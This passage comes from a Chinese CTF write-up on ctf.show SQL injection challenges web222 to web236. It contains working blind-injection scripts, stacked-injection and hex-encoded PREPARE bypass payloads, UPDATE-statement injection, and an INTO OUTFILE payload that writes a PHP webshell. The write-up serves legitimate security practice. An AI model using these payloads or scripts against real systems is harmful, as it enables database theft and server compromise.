>=1 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(0.05),0)" start_time = time.time() response = requests.get(url, params={'u' : payload, 'page' : 1 , 'limit' : 10 }) elapsed_time = time.time() - start_time if elapsed_time >=1 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(0.05),0)" start_time = time.time() response = requests.get(url, params={'u' : payload, 'page' : 1 , 'limit' : 10 }) elapsed_time = time.time() - start_time if elapsed_time >=1 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://05826ba3-389a-4252-8590-74ae385b3602.challenge.ctf.show/api/' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web223(group by过滤数字注入) 参考web185，下面脚本通过二分法寻找字符
import requests import time url = 'http://8449d9bc-fc0c-4020-935a-03d55a6b5624.challenge.ctf.show/api/?u=' str = '' def num2true(num): str = '(' + 'true%2b' * (num-1 ) + 'true)' return str a = num2true(1 ) # print(a) for i in range (1 , 60 ): min,max = 32 , 128 while True : j = min + (max- min)/ / 2 if(min = = j): str + = chr(j) print(str) break # 爆表名 # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num2true(i)},true))<{num2true(j)},username,true)" # 爆列 # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{num2true(i)},true))<{num2true(j)},username,true)" # 爆值 payload = f"if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{num2true(i)},true))<{num2true(j)},username,true)" r = requests.get(url= url+ payload).text # print(r) if 'passwordAUTO' in r: max = j else : min = j
web224(文件上传注入) 扫目录发现/robots.txt
访问发现更改密码界面，更改admin密码为1成功登录，出现以下页面为文件上传
做到这里想直接上传图片马但是失败了,去看了wp是要读取文件内容来判断文件类型的原因，在txt文件中写入以下payload，C64File 是与 Commodore 64 相关的文件类型，之后闭合，写入 sql 语句(注意，写入文件时若写在1.php下会报错)
C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/2.php';--+ #0x3c3f3d60746163202f662a603f3e为<?=`tac /f*`?>的十六进制形式
访问写入的2.php获得flag
web225(堆叠注入过滤select) 过滤了一堆东西，查询时发现通过向/apiGET传参查询
通过向username堆叠注入获取库表列flag
爆库名
username= 0 ';show databases;#
爆表名
username= 0 ';show tables;#
爆列名
username= 0 ';show columns from ctfshow_flagasa;
补充:handler语句 handler 是 mysql 的专用语句，没有包含到 SQL 标准中，但它每次只能查询 1 次记录，而 select 可以根据需要返回多条查询结果。
hander `表名` open ; / / 打开一个表 handler`表名`read first ; / / 查询第一个数据 handler`表名`read next; / / 查询之后的数据直到最后一个数据返回空
爆flag
注意，这里由于过滤了select，因此要使用handler语句
username= 0 ';handler`ctfshow_flagasa`open;handler`ctfshow_flagasa`read next;# username=0' ;select flagas from ctfshow_flagasa;#
也可以通过预处理命令来实现
username= 0 ';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#
prepare myon from concat(“sel”,”ect * from ctfshow_flagasa”)
PREPARE 是SQL中的一个命令，用于准备一个SQL语句以便稍后执行。myon 是为这个准备好的语句指定的名称。CONCAT(“sel”,”ect * from ctfshow_flagasa”) 将两个字符串拼接成一个完整的SQL查询，即 “select * from ctfshow_flagasa”。
execute myon:
EXECUTE 命令用于执行之前通过 PREPARE 准备好的SQL语句。在这个例子中，它会执行 SELECT * FROM ctfshow_flagasa。
web226(堆叠注入+show和()) 通过上题提到的预处理和十六进制编码实现堆叠注入
注意，MySQL 允许用户以十六进制字符串的形式输入二进制数据。十六进制字符串以 0x 开头，后面跟一系列的十六进制字符（0-9, A-F）。例如：
这条语句会将十六进制字符串 0x4D7953514C 解释为二进制数据，并将其转换为对应的 ASCII 字符串 "MySQL"。
爆库名
username= 1 ';prepare test from show databases;execute test;# username=1' ;prepare test from 0x73686f7720646174616261736573 ;execute test;#
爆表名
username= 1 ';prepare test from show tables;execute test;# username=1' ;prepare test from 0x73686f77207461626c6573 ;execute test;#
爆列名
username= 1 ';prepare test from show columns from ctfsh_ow_flagas;execute test;# username=1' ;prepare test from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c61676173 ;execute test;#
爆flag
username= 1 ';prepare test from select flagasb from ctfsh_ow_flagas;execute test;# username=1' ;prepare test from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173 ;execute test;#
web227(堆叠注入+db) 同上题，相同方式可绕过过滤
爆库名
username= 1 ';prepare test from show databases;execute test;# username=1' ;prepare test from 0x73686f7720646174616261736573 ;execute test;#
爆表名
username= 1 ';prepare test from show tables;execute test;# username=1' ;prepare test from 0x73686f77207461626c6573 ;execute test;#
爆列名
username= 1 ';prepare test from show columns from ctfshow_user;execute test;# username=1' ;prepare test from 0x73686f7720636f6c756d6e732066726f6d2063746673686f775f75736572 ;execute test;#
爆flag
username= 1 ';prepare test from select pass from ctfshow_user;execute test;# username=1' ;prepare test from 0x73656c65637420706173732066726f6d2063746673686f775f75736572 ;execute test;#
但是没有flag，看wp后知道这道题需要查看存储过程和函数的状态，通过查询 information_schema.ROUTINES 表来查看存储过程和函数的详细信息，直接查这个表下的所有东西
username= 1 ';prepare test from select * from information_schema.routines;execute test;# username=1' ;prepare test from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573 ;execute test;#
此时已经找到flag，也可以通过具体指定函数名再进行详细查找，由上图发现函数名为getFlag
username= 1 ';prepare test from select * from information_schema.routines where routine_name=' getFlag';execute test;# #其中 routine_name 用于指定存储过程或函数的名称 username=1' ;prepare test from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e657320776865726520726f7574696e655f6e616d653d27676574466c616727 ;execute test;#
如果存储过程和存储函数名称相同，则需要再指定 routine_type 字段表明查询的是哪种类型的存储程序：
比如指定查询的类型是函数
username= 1 ';prepare test from select * from information_schema.routines where routine_name=' getFlag' and routine_type=' function ';execute test;# https://a678d0b6-d290-4094-87e4-ad969fed44ad.challenge.ctf.show/api/?username=1' ;prepare test from 0x2073656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e657320776865726520726f7574696e655f6e616d653d27676574466c61672720616e6420726f7574696e655f747970653d2766756e6374696f6e27 ;execute test;#
没有结果，尝试指定类型为进程
username= 1 ';prepare test from select * from information_schema.routines where routine_name=' getFlag' and routine_type=' procedure ';execute test;# username=1' ;prepare test from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e657320776865726520726f7574696e655f6e616d653d27676574466c61672720616e6420726f7574696e655f747970653d2770726f63656475726527 ;execute test;#
最终发现getFlag为一个进程
可参考MySQL——查看存储过程和函数
web228(堆叠注入+黑盒过滤) 还是使用预编译试试、
username= 0 ';prepare test from show tables;execute test;# username=0' ;prepare test from 0x73686f77207461626c6573 ;execute test;#
可以实现，按照列名flag顺序进行
爆列名
username= 0 ';prepare test from show columns from ctfsh_ow_flagasaa;execute test;# username=0' ;prepare test from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c616761736161 ;execute test;#
爆flag
username= 0 ';prepare test from select flagasba from ctfsh_ow_flagasaa;execute test;# username=0' ;prepare test from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161 ;execute test;#
web229(堆叠注入+黑盒过滤) 同上,爆表名
username= 0 ';prepare test from show tables;execute test;# username=0' ;prepare test from 0x73686f77207461626c6573 ;execute test;#
爆列名
username= 0 ';prepare test from show columns from flag;execute test;# username=0' ;prepare test from 0x73686f7720636f6c756d6e732066726f6d20666c6167 ;execute test;#
爆flag
username= 0 ';prepare test from select flagasba from flag;execute test;# ?username=0' ;prepare test from 0x73656c65637420666c6167617362612066726f6d20666c6167 ;execute test;#
web230(堆叠注入+黑盒过滤) 过程同上，表名flagaabbx，列名flagasbas
username= 0 ';prepare test from select flagasbas from flagaabbx;execute test;# username=0' ;prepare test from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278 ;execute test;#
update注入 web231(无过滤) 先观察查询语句
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
则有两种方法，一种直接闭合查询，一种通过布尔或者时间盲注查找(注意这里通过向/api/ POST传参)
法一:直接闭合 构造payload为
username= 1 & password= 2 ',username=database()#
将该payload填入查询语句即为
$sql = "update ctfshow_user set pass = '2',username=database()#' where username = '1';"; 该语句的password部分将查询语句前方单引号闭合且把后面限定条件注释，同时updata username为数据库名称，使得更新后刷新页面显示用户名为数据库名称，密码为2
接下来就是相同步骤(注意使用子查询语句，即添加括号，不然出错 )
爆表名
username= 1 & password= 2 ',username=(select group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web');#
爆列名
username= 1 & password= 2 ',username=(select group_concat(column_name) from information_schema.columns where table_name=' flaga');#
爆flag
username= 1 & password= 2 ',username=(select flagas from flaga);#
法二:布尔盲注 通过username为注入点，构造payload如下
password= 0 & username= 1 ' or if(substr(database(),1,1)=' c',true,false);#
通过回显来判断是否正确，贴个自己写的脚本
import requestsdef force (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr(database(),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，库名为" +find) x+=1 break return find def force1 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，表名为" +find) x+=1 break def force2 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} '),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，列名为" +find) x+=1 break def force3 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in range (32 ,128 ): payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(ascii(substr((select {column} from {table} ),{i} ,1))={char} ,true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += chr (char) print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符,flag为" +find) x+=1 break if __name__ =="__main__" : url='http://eca773f7-0f80-4cfc-8543-ef0009ac1609.challenge.ctf.show/api/' database=force(url) force1(url) table=input ("请输入表名:" ) force2(url) column=input ("请输入列名:" ) force3(url)
注意！！！！ 调试了半下午的脚本，发现最终错在这两个语句的辨析，下面语句是对的，上面语句是错的，原因就在于f”string”，双引号中的内容转换为字符串，因此加号实现的拼接操作失效了，导致这个语句出错
脚本运行结果如下
web232(更改闭合方式) 在查询语句中发现对传入的password要进行MD5编码，将闭合换为’)即成功闭合，类似于web216
法一:直接闭合 爆库名
username= 1 & password= 2 '),username=database()#
爆表名
username= 1 & password= 2 '),username=(select group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web')#
爆列名
username= 1 & password= 2 '),username=(select group_concat(column_name) from information_schema.columns where table_name=' flagaa')#
爆flag
username= 1 & password= 2 '),username=(select flagass from flagaa)#
法二:布尔盲注 直接贴脚本吧，只用改url
import requests def force(url): x= 0 find= '' for i in range (1 ,100 ): found_char= False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' :#根据需要更改字典 payload = {'password' : f"{x}",'username' : '0' + f"' or if(substr(database(),{i},1)='{char}',true,false);#"} r = requests.post(url= url,data= payload).text if(r'\u66f4\u65b0\u6210\u529f' in r): find + = char print(find) found_char = True x+ = 1 break if not found_char: print("未找到更多字符，库名为"+ find) x+ = 1 break return find def force1(url): x= 0 find= '' for i in range (1 ,100 ): found_char= False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' :#根据需要更改字典 payload = {'password' : f"{x}",'username' : '0' + f"' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',true,false);#"} r = requests.post(url= url,data= payload).text if(r'\u66f4\u65b0\u6210\u529f' in r): find + = char print(find) found_char = True x+ = 1 break if not found_char: print("未找到更多字符，表名为"+ find) x+ = 1 break def force2(url): x= 0 find= '' for i in range (1 ,100 ): found_char= False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' :#根据需要更改字典 payload = {'password' : f"{x}",'username' : '0' + f"' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}'),{i},1)='{char}',true,false);#"} r = requests.post(url= url,data= payload).text if(r'\u66f4\u65b0\u6210\u529f' in r): find + = char print(find) found_char = True x+ = 1 break if not found_char: print("未找到更多字符，列名为"+ find) x+ = 1 break def force3(url): x= 0 find= '' for i in range (1 ,100 ): found_char= False for char in range (32 ,128 ):#根据需要更改字典 payload = {'password' : f"{x}",'username' : '0' + f"' or if(ascii(substr((select {column} from {table}),{i},1))={char},true,false);#"} r = requests.post(url= url,data= payload).text if(r'\u66f4\u65b0\u6210\u529f' in r): find + = chr(char ) print(find) found_char = True x+ = 1 break if not found_char: print("未找到更多字符,flag为"+ find) x+ = 1 break if __name__ = = "__main__": #指定url url= 'http://eca773f7-0f80-4cfc-8543-ef0009ac1609.challenge.ctf.show/api/' database= force(url) force1(url) table = input("请输入表名:") force2(url) column = input("请输入列名:") force3(url)
web233(过滤单引号)
测试payload后发现\u67e5\u8be2\u5931\u8d25(查询失败),尝试更改注释符也失败，即可能是单引号被过滤了
尝试十六进制后注入不进去，看了wp发现一种巧妙解法如下
法一:直接闭合 查询语句为
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
此时传入payload为
password= \& username= ,username= database()#
插入查询语句即为
update ctfshow_user set pass = '\' where username = ',username=database()#' ;通过第一个和第三个单引号闭合后,最后一个单引号被注释,即形成如下语句 update ctfshow_user set pass = 'string' ,username= database()注意:在 SQL 中，\' 是用来表示单引号的一种方式。它告诉解析器，接下来的单引号是字符串的一部分，而不是字符串的结束标志,因此第一个和第三个单引号才能成功闭合
接下来就是修改语句正常注入
爆表名(注意这里table_schema不能写成’ctfshow_web’,因为单引号被过滤了)
password= \& username= ,username= (select group_concat(table_name) from information_schema.tables where table_schema= database())#
PS:做完法一用脚本的时候才发现可以username中可以使用单引号，应该是只针对了password中的单引号过滤
password= \& username= ,username= (select group_concat(table_name) from information_schema.tables where table_schema= 'ctfshow_web' )#
爆列名(通过limit绕过表名)
password= \& username= ,username= (select group_concat(column_name) from information_schema.columns where table_name= (select table_name from information_schema.tables where table_schema= database() limit 2 ,1 ))#
爆flag
password= \& username= ,username= (select flagass233 from flag233333)#
法二:布尔盲注 脚本直接一把梭，才发现应该是只针对password中单引号，因此直接上脚本(环境爆了换了一个环境)
import requestsdef force (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr(database(),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，库名为" +find) x+=1 break return find def force1 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，表名为" +find) x+=1 break def force2 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in 'abcdefghijklmnopqrstuvwxyz123456789{0_-,}' : payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} '),{i} ,1)='{char} ',true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += char print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符，列名为" +find) x+=1 break def force3 (url ): x= 0 find='' for i in range (1 ,100 ): found_char=False for char in range (32 ,128 ): payload = {'password' : f"{x} " ,'username' : '0' +f"' or if(ascii(substr((select {column} from {table} ),{i} ,1))={char} ,true,false);#" } r = requests.post(url=url,data=payload).text if (r'\u66f4\u65b0\u6210\u529f' in r): find += chr (char) print (find) found_char = True x+=1 break if not found_char: print ("未找到更多字符,flag为" +find) x+=1 break if __name__ =="__main__" : url='http://f5d6873c-e968-44c4-97df-f72278a12e84.challenge.ctf.show/api/' database=force(url) force1(url) table=input ("请输入表名:" ) force2(url) column=input ("请输入列名:" ) force3(url)
web234(过滤单引号) 测试按照上题的直接闭合也能打通，但是就是username和password中单引号都被过滤了，用上题的payload打通
爆库名
password= \& username= ,username= database()#
爆表名
password= \& username= ,username= (select group_concat(table_name) from information_schema.tables where table_schema= database())#
爆列名
password= \& username= ,username= (select group_concat(column_name) from information_schema.columns where table_name= (select table_name from information_schema.tables where table_schema= database() limit 2 ,1 ))#
爆flag
password= \& username= ,username= (select flagass23s3 from flag23a)#
但是由于username中单引号也被过滤了，所以不能使用布尔盲注了
web235(过滤+or) 按照上题方式也能打通，但是这里将or进行过滤，就涉及到information_schema表无法使用，即变成无列名注入
首先爆库名
password= \& username= ,username= database()#
爆表名
password= \& username= ,username= (select group_concat(table_name) from mysql.innodb_table_stats)#
爆数据
password= \& username= ,username= (select `2 ` from (select 1 ,2 ,3 union select * from flag23a1)a limit 1 ,1 )# `2 `:表示是第二列(为什么是直接输出第二列问就是经验) (select 1 ,2 ,3 union select * from flag23a1)a:将1 ,2 ,3 联合到flag23a1中作为第一排，a作为结合集的别名 limit 1 ,1 :跳过第一排，直接从第二排开始输出
web236(过滤+flag) 通过子查询语句就可以绕过查询语句中的flag，无列名查询还是和上题相同
爆库名
password= \& username= ,username= database()#
爆表名
password= \& username= ,username= (select group_concat(table_name) from mysql.innodb_table_stats)#
爆flag
错误示例，这里我还存疑，明明(select table_name from mysql.innodb_table_stats limit 2 ,1 )可以正常回显flaga，但是拼接到语句中反正不行，去网上找了wp也没有成功绕过的，看到的几篇都是直接使用flaga，意味着这个题没有过滤输入中的flaga password= \& username= ,username= (select `2 ` from (select 1 ,2 ,3 union select * from (select table_name from mysql.innodb_table_stats limit 2 ,1 ))a limit 1 ,1 )# 正确payload password= \& username= ,username= (select `2 ` from (select 1 ,2 ,3 union select * from flaga)a limit 1 ,1 )#
这个题说的是过滤了flag，然后用上一题的姿势一样可以过。听其他大师傅说是输出过滤，不是输入过滤，但是因为flag格式改了，以前应该是flag{}，然后会被过滤掉，然后现在这个就没啥影响。
password= \& username= ,username= (select hex(group_concat(`2 `)) from (select 1 ,2 ,3 union select * from flaga)x)#
PS:数据库名称敏感问题 做到这里时蒙师傅提了个问题，在他脚本出来的库名全是大写字母
找了挺久也没找出脚本的问题，推测是数据库的问题，在进行测试之后发现在数据库查询时，如果是查询库名、表名、列名时对于大小写不敏感，即弱比较；而在使用库名、表名、列名查询数据时对大小写是敏感的。比如ctfshow_web和ctfshow_weB,在通过脚本爆库名时如果字典选择不恰当都有可能出现，但是只有ctfshow_web可以正确查找后面的表名。由此不禁想到如果表名是大小写混合，那应该如何才能爆出正确表名呢，在今天刷极客大挑战2019时的finalsql表名就是F1naI1y，如果只是拿f1nal1y去爆那就没有结果。因此正确姿势是用字符的ASCII来进行比较，然后再用chr(j)来加上字符，这样出来的就是正确名称了。部分脚本如下
def force (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr(database(),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符，库名为" +find) break return find
